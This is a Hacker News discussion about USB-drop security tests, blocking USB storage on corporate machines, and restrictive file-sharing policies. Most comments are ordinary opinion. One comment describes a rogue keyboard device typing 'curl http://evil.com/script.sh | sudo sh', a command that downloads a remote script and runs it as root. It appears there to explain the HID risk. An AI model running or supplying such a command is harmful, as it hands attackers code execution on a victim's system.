Hacker News Reader

Comment by sjwright | Hacker News Reader

So these IT genuises at a Fortune 500 company were clever enough to test their employees' computer security acumen (and get the predicted result) but they weren't clever enough to simply block all use of USB mass storage devices on their corporate operating system distribution?

Surely by now all corporate desktops should be configured to not respond to any USB devices other than the generic HID for mouse and keyboard, plus a whitelist of approved devices (e.g. fingerprint readers, Yubikeys). Inserting a USB mass storage device into a corporate workstation should result in nothing. Plug-and-play shouldn't be triggered. The mass storage driver should not load.

View on HN

The computer security industry for SMBs is like 95% theater and 5% actual practice.

Conducting that test produced something tangible for whoever made the purchasing decision: It clearly illustrated a need for the services rendered, did it in a way that offered job security to management by giving them license to assert the position over their subordinates, and established a metric by which to evaluate the security company's performance which can be easily, repeatably, and predictably improved over time.

It also checked a lot of boxes that will be useful in court if they ever need to prove that they weren't negligent on privacy and security, which is a form of insurance that has real measurable value when it comes to legal claims.

> The computer security industry for SMBs is like 95% theater and 5% actual practice.

I'd say it's 40% paranoid arse-covering by IT department heads, 35% whatever middle management incorrectly assumes to be current best practices, 20% ego-stroking by the CIO, and 5% sensible context-driven decision-making by IT front-line staff.

Those numbers sound a little thin on the bottom, but only a little. Maybe take 15% out of the CIO category and just throw it away, because they're usually very quick to turn on their underlings.

Trouble is that the same corporation has the following additional policies:

* A ban on mail attachments of certain types (excel, zip files...) * mailbox limits from the 1990’s (100MB or so) * a ban on Dropbox, Gdrive or any other file sharing service * No public facing sftp or similar * A web site so mired in red tape that it takes 6 months and a dozen approvals to get anything uploaded.

Often the USB drive or something similar is the only way for employees to actually do their jobs.

It seems the problem is bad corporate file sharing policies that are incorrectly validated as successful because the employees are using workarounds rather than pointing out its inadequacies.

One of many depressingly common pathologies in large organizations. The best way to ensure your infrastructure won't break is to ensure it's not used; whether or not that means people can do their job is a concern for a different department.

Welcome to the real world! :)

I have seen this kind of situation, too. It sucks, but if you play by the corporate rulebook and lobby for better rules, you will be either worn out or retired by the time those rules get updated.

In these situations the organization really should get box.com subscription (or Dropbox enterprise) and have file sharing with control, auditing and org policies.

Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh | sudo sh sleep alt+y.

Sorry for mixing windows and Linux but conceptually something like this should work on windows if you don't require password in your UAC prompts.

Just leaking data requires no UAC!

I wonder if a big (Fortune 500) company could get HID devices which were customised so that only company owned devices could be plugged in.. it shouldn't be that hard to design such a device that would show up as a custom device then the installed driver would poke it in a crypto shielded way and it then provides the keyboard/mouse inputs. It can't simply do the standard 'detach and reattach as a HID' because otherwise then a HID would work..

Hm, perhaps.. is anything like that available already?

Please no, don't add DRM in keyboards.

I don't think I've ever heard of a company that actually does this in practice. I suspect it ends up simply being more trouble than it's actually worth. I know at that company the list of approved device would probably end up being dozens of pages long... and yeah, thumb drives and USB hard drives were used a decent amount, especially outside of IT.

Anecdote for anecdote, I have.

Maybe someone needs to invent a USB-based thumb drive reader that only allows generic mass storage devices to be attached but does not work as a hub, rather as a proxy device.

Bonus points: don't mount the drive directly, instead connect it to a centralised server on the corporate network that scans for threats and mounts a sanitised version of the drive's contents as a network share.

Triple word score: audit everything contained on every drive and everything that is copied on and off.

Sell that for $200 per unit to Fortune 500 companies and paranoid government agencies worldwide... and you'll retire early.

isnt that a NAS basically?

A consumer (i.e. workplace for people who don't know better) NAS is usually Linux with a few hard drives attached via a cheerful and brightly coloured web UI - occasionally useful, some way short of secure.

I expect someone sells hardened ultra-secure corporate NAS boxes, but I've never seen any in the wild.

The trouble is, the sort of people who would buy a pre-hardened NAS are also the sort of people who would be suspicious of a pre-built unit. I know for sure I wouldn't trust anything off the shelf, I'd take the base OS and build something around it.

Whoops, my tin-foil hat appears to have slipped.

Your triple word score is already handled by a dozen different companies doing endpoint security from advanced heuristics at the kernel level like Crowdstrike, or just filenames and hashes like Code42.

Work at a fortune 500 company, we're currently eliminating USB ports for data devices - but leaving them open for other devices that do not identify as media.

We are dragging people to a corporate cloud solution, however we are finding that the drive to cloud has severely underestimated the volume of data that people will sync across the network, and how much work is done outside official corporate systems and in Excel instead.

This is having 2 effects our network capacity is being drained, and users are reporting performance issues due to latency associated with poorly developed excel applications.

It's a pentesting technique, used to assess the level of effectiveness of user training.

While your final comment is accurate, it is impractical as usb mass storage is still required in many places. Also, you can't effectively block HID, and an attacker can use HID disguised as or in a thumb drive to successfully attack a network.

Reply on news.ycombinator.com